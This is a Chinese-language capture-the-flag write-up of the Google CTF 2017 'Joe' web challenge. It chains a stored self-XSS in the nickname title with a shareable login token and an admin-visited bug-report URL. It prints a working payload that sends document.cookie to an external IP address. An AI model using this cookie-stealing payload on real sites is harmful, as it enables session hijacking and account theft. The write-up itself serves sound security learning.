題目是看了別人題解重新做的。
題目地址 http://joe.web.ctfcompetition.com/ ,可以重命名、聊天、報告bug、登錄。
首先是輸入rename 重命名,輸入alert之類常見的測試發現沒有彈窗,檢查發現聊天界面都對我輸入的內容都轉義了。但是看別人的writeup 又有彈窗,是怎么回事呢? 原來rename 后,需要重新打開一個瀏覽器標簽,就會發現Web 應用將用戶昵稱顯示在title 標簽里且沒有轉義。因此此處有一個存儲型Self XSS 。
題目的hint 是說要拿到管理員的Cookie , 那怎么辦呢? 報告bug 功能處,會有一個地方可以輸入URL,管理員會用瀏覽器執行。
writeup 提到login 功能時,觀察發送的HTTP請求 ,會發現有一串login?id_token= .... 的URL 。當我們嘗試在隱身窗口打開這條URL時,會打開我們剛才設置的payload XSS,并會有彈窗。 因此只要任何人打開這條URL都會以我剛才的身份登錄進去,就可以執行Self XSS了。
于是思路就是,我們在重命名設置偷cookie的XSS ,然后我們向管理員報bug 并提交我們login的URL 。當管理員打開URL時,由于都是同個競賽題站的域,于是我們就會收到管理員的cookie 。
重命名如下:
<img src=x onerror=this.src='http://119.29.20.197:8000/?c='+document.cookie>
然后提交login 的URL 報bug ,提示過長。 于是用https://goo.gl/ 縮短URL 。提交后,在服務器抓到cookie 如圖。
參考: https://codeburst.io/joe-web-challenge-google-ctf-2017-7120205a1297